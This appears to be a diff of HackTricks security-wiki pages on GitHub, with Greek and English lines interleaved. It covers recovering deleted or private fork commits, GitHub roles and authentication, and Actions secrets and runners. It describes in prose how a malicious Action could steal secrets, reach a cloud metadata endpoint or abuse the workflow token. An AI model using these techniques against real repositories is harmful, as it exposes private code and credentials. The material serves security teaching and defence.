- Για reusable workflows και composite actions, εφαρμόστε το ίδιο μοτίβο: κάντε map σε env και μετά αναφερθείτε με $VAR.
- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
- Be extra careful when interpolating branch names, PR titles, usernames, labels, discussion titles, and PR head refs into scripts, command-line flags, or file paths.
- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR.
## References

View File

@@ -1,56 +1,58 @@
# Προσβάσιμα Διαγραμμένα Δεδομένα στο Github
# Accessible Deleted Data in Github
{{#include ../../banners/hacktricks-training.md}}
Αυτοί οι τρόποι πρόσβασης σε δεδομένα από το Github που υποτίθεται ότι διαγράφηκαν αναφέρθηκαν [**σε αυτήν την ανάρτηση ιστολογίου**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
## Πρόσβαση σε Διαγραμμένα Δεδομένα Fork
## Accessing Deleted Fork Data
1. Δημιουργείτε ένα δημόσιο αποθετήριο
2. Κάνετε commit κώδικα στο fork σας
3. Διαγράφετε το fork σας
1. You fork a public repository
2. You commit code to your fork
3. You delete your fork
> [!CAUTION]
> Τα δεδομένα που έχουν γίνει commit στο διαγραμμένο fork είναι ακόμα προσβάσιμα.
> The data commited in the deleted fork is still accessible.
## Πρόσβαση σε Διαγραμμένα Δεδομένα Repo
## Accessing Deleted Repo Data
1. Έχετε ένα δημόσιο repo στο GitHub.
2. Ένας χρήστης δημιουργεί fork το repo σας.
3. Κάνετε commit δεδομένα μετά το fork (και αυτοί ποτέ δεν συγχρονίζουν το fork τους με τις ενημερώσεις σας).
4. Διαγράφετε ολόκληρο το repo.
1. You have a public repo on GitHub.
2. A user forks your repo.
3. You commit data after they fork it (and they never sync their fork with your updates).
4. You delete the entire repo.
> [!CAUTION]
> Ακόμα και αν διαγράψατε το repo σας, όλες οι αλλαγές που έγιναν σε αυτό είναι ακόμα προσβάσιμες μέσω των forks.
> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
## Πρόσβαση σε Δεδομένα Ιδιωτικού Repo
## Accessing Private Repo Data
1. Δημιουργείτε ένα ιδιωτικό repo που τελικά θα γίνει δημόσιο.
2. Δημιουργείτε μια ιδιωτική, εσωτερική έκδοση αυτού του repo (μέσω forking) και κάνετε commit επιπλέον κώδικα για δυνατότητες που δεν πρόκειται να δημοσιεύσετε.
3. Κάνετε το “upstream” αποθετήριο δημόσιο και κρατάτε το fork σας ιδιωτικό.
1. You create a private repo that will eventually be made public.
2. You create a private, internal version of that repo (via forking) and commit additional code for features that youre not going to make public.
3. You make your “upstream” repository public and keep your fork private.
> [!CAUTION]
> Είναι δυνατόν να αποκτήσετε πρόσβαση σε όλα τα δεδομένα που έχουν μεταφερθεί στο εσωτερικό fork κατά την περίοδο μεταξύ της δημιουργίας του εσωτερικού fork και της δημοσιοποίησης της δημόσιας έκδοσης.
> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
## Πώς να ανακαλύψετε commits από διαγραμμένα/κρυφά forks
## How to discover commits from deleted/hidden forks
Η ίδια ανάρτηση ιστολογίου προτείνει 2 επιλογές:
The same blog post propose 2 options:
### Άμεση πρόσβαση στο commit
### Directly accessing the commit
Εάν είναι γνωστή η τιμή ID του commit (sha-1), είναι δυνατόν να αποκτηθεί πρόσβαση σε αυτό στο `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
If the commit ID (sha-1) value is known it's possible to access it in `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
### Brute-forcing σύντομων τιμών SHA-1
### Brute-forcing short SHA-1 values
Είναι το ίδιο για την πρόσβαση και στις δύο αυτές περιπτώσεις:
It's the same to access both of these:
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
Και η τελευταία χρησιμοποιεί ένα σύντομο sha-1 που είναι brute-forceable.
And the latest one use a short sha-1 that is bruteforceable.
## Αναφορές
## References
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,106 +1,106 @@
# Βασικές πληροφορίες για το Github
# Basic Github Information
{{#include ../../banners/hacktricks-training.md}}
## Βασική δομή
## Basic Structure
Η βασική δομή του περιβάλλοντος του github σε μια μεγάλη **company** είναι να έχει ένα **enterprise** το οποίο κατέχει **several organizations** και η καθεμία από αυτές μπορεί να περιέχει **several repositories** και **several teams.**. Μικρότερες εταιρείες μπορεί να έχουν απλώς **own one organization and no enterprises**.
The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
Από την πλευρά του χρήστη, ένας **user** μπορεί να είναι **member** διαφορετικών **enterprises and organizations**. Μέσα σε αυτές ο χρήστης μπορεί να έχει **different enterprise, organization and repository roles**.
From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
Επιπλέον, ένας χρήστης μπορεί να είναι **part of different teams** με διαφορετικούς enterprise, organization ή repository ρόλους.
Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
Και τέλος, **repositories may have special protection mechanisms**.
And finally **repositories may have special protection mechanisms**.
## Προνόμια
## Privileges
### Ρόλοι Enterprise
### Enterprise Roles
- **Enterprise owner**: Άτομα με αυτόν τον ρόλο μπορούν να **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. Ωστόσο, **cannot access organization settings or content** εκτός αν γίνουν organization owner ή τους δοθεί άμεση πρόσβαση σε ένα repository που ανήκει στην οργάνωση.
- **Enterprise members**: Τα μέλη των οργανώσεων που ανήκουν στο enterprise σας είναι **automatically members of the enterprise**.
- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
### Ρόλοι Organization
### Organization Roles
Σε μια οργάνωση οι χρήστες μπορούν να έχουν διαφορετικούς ρόλους:
In an organisation users can have different roles:
- **Organization owners**: Οι organization owners έχουν **complete administrative access to your organization**. Αυτός ο ρόλος πρέπει να περιορίζεται, αλλά να υπάρχει σε όχι λιγότερα από δύο άτομα στην οργάνωσή σας.
- **Organization members**: Ο **default**, μη-διοικητικός ρόλος για **people in an organization** είναι ο organization member. Από προεπιλογή, τα organization members **have a number of permissions**.
- **Billing managers**: Οι billing managers είναι χρήστες που μπορούν να **manage the billing settings for your organization**, όπως τα στοιχεία πληρωμής.
- **Security Managers**: Είναι ένας ρόλος που οι organization owners μπορούν να αναθέσουν σε οποιαδήποτε ομάδα στην οργάνωση. Όταν εφαρμοστεί, δίνει σε κάθε μέλος της ομάδας άδειες για **manage security alerts and settings across your organization, as well as read permissions for all repositories** στην οργάνωση.
- Αν η οργάνωσή σας έχει security team, μπορείτε να χρησιμοποιήσετε τον ρόλο security manager για να δώσετε στα μέλη της ομάδας την ελάχιστη πρόσβαση που χρειάζονται στην οργάνωση.
- **Github App managers**: Για να επιτρέψετε σε επιπλέον χρήστες να **manage GitHub Apps owned by an organization**, ένας owner μπορεί να τους δώσει GitHub App manager permissions.
- **Outside collaborators**: Ένας outside collaborator είναι ένα άτομο που έχει **access to one or more organization repositories but is not explicitly a member** της οργάνωσης.
- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
- If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
Μπορείτε να **compare the permissions** αυτών των ρόλων σε αυτόν τον πίνακα: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
### Προνόμια Μελών
### Members Privileges
Στο _https://github.com/organizations/\<org_name>/settings/member_privileges_ μπορείτε να δείτε τις **permissions users will have just for being part of the organisation**.
In _https://github.com/organizations/\<org_name>/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
Οι ρυθμίσεις που έχουν διαμορφωθεί εδώ θα υποδεικνύουν τις ακόλουθες άδειες των μελών της οργάνωσης:
The settings here configured will indicate the following permissions of members of the organisation:
- Να είναι admin, writer, reader ή να μην έχουν καμία άδεια σε όλα τα organisation repos.
- Αν τα μέλη μπορούν να δημιουργούν private, internal ή public repositories.
- Αν είναι δυνατό το forking των repositories.
- Αν είναι δυνατό να προσκαλούνται outside collaborators.
- Αν μπορούν να δημοσιευτούν public ή private sites.
- Τις άδειες που έχουν οι admins πάνω στα repositories.
- Αν τα μέλη μπορούν να δημιουργούν νέες teams.
- Be admin, writer, reader or no permission over all the organisation repos.
- If members can create private, internal or public repositories.
- If forking of repositories is possible
- If it's possible to invite outside collaborators
- If public or private sites can be published
- The permissions admins has over the repositories
- If members can create new teams
### Ρόλοι Repository
### Repository Roles
Από προεπιλογή δημιουργούνται οι εξής repository roles:
By default repository roles are created:
- **Read**: Συνιστάται για **non-code contributors** που θέλουν να βλέπουν ή να σχολιάζουν το project σας
- **Triage**: Συνιστάται για **contributors who need to proactively manage issues and pull requests** χωρίς write access
- **Write**: Συνιστάται για contributors που **actively push to your project**
- **Maintain**: Συνιστάται για **project managers who need to manage the repository** χωρίς πρόσβαση σε ευαίσθητες ή καταστροφικές ενέργειες
- **Admin**: Συνιστάται για άτομα που χρειάζονται **full access to the project**, συμπεριλαμβανομένων ευαίσθητων και καταστροφικών ενεργειών όπως το manage security ή το delete a repository
- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
- **Write**: Recommended for contributors who **actively push to your project**
- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
Μπορείτε να **compare the permissions** κάθε ρόλου σε αυτόν τον πίνακα [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
Μπορείτε επίσης να **create your own roles** στο _https://github.com/organizations/\<org_name>/settings/roles_
You can also **create your own roles** in _https://github.com/organizations/\<org_name>/settings/roles_
### Teams
Μπορείτε να **list the teams created in an organization** στο _https://github.com/orgs/\<org_name>/teams_. Σημειώστε ότι για να δείτε τις teams που είναι children άλλων teams πρέπει να έχετε πρόσβαση σε κάθε parent team.
You can **list the teams created in an organization** in _https://github.com/orgs/\<org_name>/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
### Users
Οι χρήστες μιας οργάνωσης μπορούν να **listed** στο _https://github.com/orgs/\<org_name>/people._
The users of an organization can be **listed** in _https://github.com/orgs/\<org_name>/people._
Στις πληροφορίες κάθε χρήστη μπορείτε να δείτε τις **teams the user is member of**, και τα **repos the user has access to**.
In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
## Github Authentication
Το Github προσφέρει διαφορετικούς τρόπους για να πιστοποιηθείτε στον λογαριασμό σας και να εκτελέσετε ενέργειες εξ ονόματός σας.
Github offers different ways to authenticate to your account and perform actions on your behalf.
### Web Access
Συνδεόμενοι στο **github.com** μπορείτε να κάνετε login χρησιμοποιώντας το **username and password** (και πιθανώς **2FA**).
Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
### **SSH Keys**
Μπορείτε να ρυθμίσετε τον λογαριασμό σας με ένα ή περισσότερα public keys επιτρέποντας στο σχετικό **private key να εκτελεί ενέργειες εξ ονόματός σας.** [https://github.com/settings/keys](https://github.com/settings/keys)
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
#### **GPG Keys**
Δεν μπορείτε να impersonate τον χρήστη με αυτά τα keys, αλλά αν δεν τα χρησιμοποιείτε μπορεί να είναι πιθανό να **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
### **Personal Access Tokens**
Μπορείτε να δημιουργήσετε personal access token για να **give an application access to your account**. Όταν δημιουργείται ένα personal access token ο **user** πρέπει να **specify** τα **permissions** που το **token** θα έχει. [https://github.com/settings/tokens](https://github.com/settings/tokens)
You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
### Oauth Applications
Οι Oauth applications μπορεί να σας ζητήσουν άδειες **to access part of your github information or to impersonate you** για να εκτελέσουν κάποιες ενέργειες. Ένα κοινό παράδειγμα αυτής της λειτουργίας είναι το **login with github button** που μπορεί να βρείτε σε κάποιες πλατφόρμες.
Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
- Μπορείτε να **create** τις δικές σας **Oauth applications** στο [https://github.com/settings/developers](https://github.com/settings/developers)
- Μπορείτε να δείτε όλες τις **Oauth applications that has access to your account** στο [https://github.com/settings/applications](https://github.com/settings/applications)
- Μπορείτε να δείτε τα **scopes that Oauth Apps can ask for** στο [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
- Μπορείτε να δείτε third party access των applications σε μια **organization** στο _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
- You can see third party access of applications in an **organization** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
Κάποιες **συστάσεις ασφάλειας**:
Some **security recommendations**:
- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
@@ -110,150 +110,156 @@
### Github Applications
Οι Github applications μπορούν να ζητήσουν άδειες για **access your github information or impersonate you** ώστε να εκτελέσουν συγκεκριμένες ενέργειες σε συγκεκριμένους πόρους. Στα Github Apps πρέπει να καθορίσετε τα repositories στα οποία η εφαρμογή θα έχει πρόσβαση.
Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
- Για να εγκαταστήσετε ένα GitHub App, πρέπει να είστε **organisation owner or have admin permissions** σε ένα repository.
- Το GitHub App πρέπει να **connect to a personal account or an organisation**.
- Μπορείτε να δημιουργήσετε την δική σας Github application στο [https://github.com/settings/apps](https://github.com/settings/apps)
- Μπορείτε να δείτε όλες τις **Github applications that has access to your account** στο [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
- Αυτά είναι τα **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Ανάλογα με τα permissions του App θα έχει πρόσβαση σε κάποιο από αυτά.
- Μπορείτε να δείτε εγκατεστημένες εφαρμογές σε μια **organization** στο _https://github.com/organizations/\<org_name>/settings/installations_
- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
- The GitHub App should **connect to a personal account or an organisation**.
- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
- You can see installed apps in an **organization** in _https://github.com/organizations/\<org_name>/settings/installations_
Κάποιες συστάσεις ασφάλειας:
Some security recommendations:
- A GitHub App should **take actions independent of a user** (εκτός αν η εφαρμογή χρησιμοποιεί ένα [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Για να διατηρηθούν τα user-to-server access tokens πιο ασφαλή, μπορείτε να χρησιμοποιήσετε access tokens που θα λήγουν μετά από 8 ώρες, και ένα refresh token που μπορεί να ανταλλαγεί για νέο access token. Για περισσότερες πληροφορίες, δείτε "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
- Βεβαιωθείτε ότι το GitHub App ενσωματώνεται με **specific repositories**.
- Το GitHub App πρέπει να **connect to a personal account or an organisation**.
- Μην περιμένετε ότι το GitHub App γνωρίζει και μπορεί να κάνει τα πάντα που μπορεί ένας χρήστης.
- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
- Make sure the GitHub App integrates with **specific repositories**.
- The GitHub App should **connect to a personal account or an organisation**.
- Don't expect the GitHub App to know and do everything a user can.
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
- Μην δημιουργήσετε ένα GitHub App εάν θέλετε να ενεργείτε _only_ ως ένας GitHub user και να κάνετε τα πάντα που ο χρήστης μπορεί να κάνει.
- Αν χρησιμοποιείτε την εφαρμογή σας με GitHub Actions και θέλετε να τροποποιήσετε workflow files, πρέπει να πιστοποιηθείτε εξ ονόματος του χρήστη με ένα OAuth token που περιλαμβάνει το `workflow` scope. Ο χρήστης πρέπει να έχει admin ή write permission στο repository που περιέχει το workflow file. Για περισσότερες πληροφορίες, δείτε "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
### Github Actions
Αυτό **isn't a way to authenticate in github**, αλλά ένα **malicious** Github Action θα μπορούσε να αποκτήσει **unauthorised access to github** και **depending** στα **privileges** που έχουν δοθεί στο Action διάφορες **different attacks** μπορούν να πραγματοποιηθούν. Δείτε παρακάτω για περισσότερες πληροφορίες.
This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
## Git Actions
Οι Git actions επιτρέπουν την αυτοματοποίηση της **execution of code when an event happen**. Συνήθως ο κώδικας που εκτελείται είναι **somehow related to the code of the repository** (π.χ. να build ένα docker container ή να ελέγξει ότι το PR δεν περιέχει secrets).
Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
### Configuration
Στο _https://github.com/organizations/\<org_name>/settings/actions_ είναι δυνατό να ελέγξετε την **configuration of the github actions** για την οργάνωση.
In _https://github.com/organizations/\<org_name>/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
Είναι δυνατό να απαγορευτεί η χρήση των github actions εντελώς, να **allow all github actions**, ή να επιτρέπονται μόνο ορισμένα actions.
It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
Επίσης είναι δυνατό να διαμορφώσετε **who needs approval to run a Github Action** και τα **permissions of the GITHUB_TOKEN** ενός Github Action όταν εκτελείται.
It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
### Git Secrets
Τα Github Action συνήθως χρειάζονται κάποιο είδος secrets για να αλληλεπιδράσουν με το github ή third party applications. Για να **avoid putting them in clear-text** στο repo, το github επιτρέπει να τα αποθηκεύετε ως **Secrets**.
Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
Αυτά τα secrets μπορούν να ρυθμιστούν **for the repo or for all the organization**. Έπειτα, για να μπορεί το **Action να έχει πρόσβαση στο secret** πρέπει να το δηλώσετε όπως:
```yaml
steps:
- name: Hello world action
with: # Set the secret as an input
super_secret:${{ secrets.SuperSecret }}
env: # Or as an environment variable
super_secret:${{ secrets.SuperSecret }}
- name: Hello world action
with: # Set the secret as an input
super_secret:${{ secrets.SuperSecret }}
env: # Or as an environment variable
super_secret:${{ secrets.SuperSecret }}
```
#### Παράδειγμα χρήσης Bash <a href="#example-using-bash" id="example-using-bash"></a>
#### Example using Bash <a href="#example-using-bash" id="example-using-bash"></a>
```yaml
steps:
- shell: bash
env: SUPER_SECRET:${{ secrets.SuperSecret }}
run: |
example-command "$SUPER_SECRET"
- shell: bash
env: SUPER_SECRET:${{ secrets.SuperSecret }}
run: |
example-command "$SUPER_SECRET"
```
> [!WARNING]
> Secrets **can only be accessed from the Github Actions** που τα έχουν δηλωμένα.
> Secrets **can only be accessed from the Github Actions** that have them declared.
> Μόλις διαμορφωθούν στο repo ή στους οργανισμούς, **οι χρήστες του github δεν θα μπορούν να τα προσπελάσουν ξανά**, θα μπορούν μόνο να τα **αλλάξουν**.
> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
Επομένως, ο **μόνος τρόπος να κλέψεις github secrets είναι να έχεις πρόσβαση στη μηχανή που εκτελεί το Github Action** (σε αυτό το σενάριο θα μπορέσεις να προσπελάσεις μόνο τα secrets που έχουν δηλωθεί για το Action).
Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
### Git Environments
Το Github επιτρέπει τη δημιουργία **environments** όπου μπορείτε να αποθηκεύσετε **secrets**. Στη συνέχεια, μπορείτε να δώσετε στο github action πρόσβαση στα secrets μέσα στο environment με κάτι σαν:
Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
```yaml
jobs:
deployment:
runs-on: ubuntu-latest
environment: env_name
deployment:
runs-on: ubuntu-latest
environment: env_name
```
Μπορείτε να διαμορφώσετε ένα περιβάλλον ώστε να είναι **προσβάσιμο** από **όλους τους κλάδους** (προεπιλογή), **μόνο από προστατευμένους** κλάδους ή να **καθορίσετε** ποιοι κλάδοι μπορούν να έχουν πρόσβαση σε αυτό.\
Επιπλέον, οι προστασίες περιβαλλόντων περιλαμβάνουν:
- **Απαιτούμενοι εγκριτές**: μπλοκάρουν τα gate jobs που στοχεύουν το περιβάλλον μέχρι να εγκριθούν. Ενεργοποιήστε το **Prevent self-review** για να εφαρμόσετε την αρχή των τεσσάρων ματιών και στην ίδια την έγκριση.
- **Κλάδοι και tags για ανάδυση (deployment branches and tags)**: περιορίστε ποιοι κλάδοι/ετικέτες μπορούν να κάνουν deployment στο περιβάλλον. Προτιμήστε να επιλέγετε συγκεκριμένους κλάδους/ετικέτες και βεβαιωθείτε ότι αυτοί οι κλάδοι είναι προστατευμένοι. Σημείωση: η επιλογή "Protected branches only" εφαρμόζεται στις κλασικές προστασίες κλάδων και μπορεί να μην συμπεριφέρεται όπως αναμένεται αν χρησιμοποιείτε rulesets.
- **Wait timer**: καθυστερεί τα deployments για μια παραμετροποιήσιμη περίοδο.
Μπορεί επίσης να οριστεί ένας **αριθμός απαιτούμενων εγκρίσεων** πριν την **εκτέλεση** μιας **ενέργειας** που χρησιμοποιεί ένα **περιβάλλον** ή να **αναμείνετε** κάποιο **χρόνο** πριν επιτραπούν τα deployments να προχωρήσουν.
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
Additionally, environment protections include:
- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper foureyes principle on the approval itself.
- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets.
- **Wait timer**: delay deployments for a configurable period.
It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
### Git Action Runner
Μια Github Action μπορεί να **εκτελεστεί μέσα στο github environment** ή να εκτελεστεί σε **υποδομή τρίτου μέρους** που έχει ρυθμιστεί από τον χρήστη.
A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
Πολλές οργανώσεις επιτρέπουν την εκτέλεση Github Actions σε **υποδομή τρίτου μέρους** καθώς συνήθως είναι **φθηνότερο**.
Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
Μπορείτε να **περιγράψετε τους self-hosted runners** μιας οργάνωσης στο _https://github.com/organizations/\<org_name>/settings/actions/runners_
You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
Ο τρόπος να βρείτε ποιες **Github Actions εκτελούνται σε μη-github υποδομή** είναι να αναζητήσετε `runs-on: self-hosted` στο yaml της ρύθμισης της Github Action.
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
Δεν είναι **δυνατό** να τρέξετε μια Github Action μιας οργάνωσης μέσα σε ένα self-hosted box άλλης οργάνωσης επειδή **παράγεται ένα μοναδικό token για τον Runner** όταν τον ρυθμίζετε, ώστε να γνωρίζει σε ποια οργάνωση ανήκει.
It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
Αν ο custom **Github Runner είναι ρυθμισμένος σε μηχάνημα μέσα σε AWS ή GCP** για παράδειγμα, η Action **μπορεί να έχει πρόσβαση στο metadata endpoint** και να **κλέψει το token του service account** με το οποίο τρέχει η μηχανή.
If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
### Git Action Compromise
Αν όλες οι actions (ή μια κακόβουλη action) επιτρέπονται, ένας χρήστης θα μπορούσε να χρησιμοποιήσει μια **κακόβουλη Github Action** που θα **παραβιάσει** το **container** όπου εκτελείται.
If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
> [!CAUTION]
> Μια **κακόβουλη Github Action** θα μπορούσε να **κακοποιηθεί** από τον επιτιθέμενο για να:
> A **malicious Github Action** run could be **abused** by the attacker to:
>
> - **Κλέψει όλα τα secrets** στα οποία η Action έχει πρόσβαση
> - **Κινήσει πλαγίως** (move laterally) αν η Action εκτελείται μέσα σε **υποδομή τρίτου μέρους** όπου το SA token που χρησιμοποιείται για τη μηχανή είναι προσβάσιμο (πιθανώς μέσω της υπηρεσίας metadata)
> - **Κακοποιήσει το token** που χρησιμοποιείται από το **workflow** για να **κλέψει τον κώδικα του repo** όπου η Action εκτελείται ή **ακόμη και να τον τροποποιήσει**.
> - **Steal all the secrets** the Action has access to
> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
## Προστασίες Κλάδων
## Branch Protections
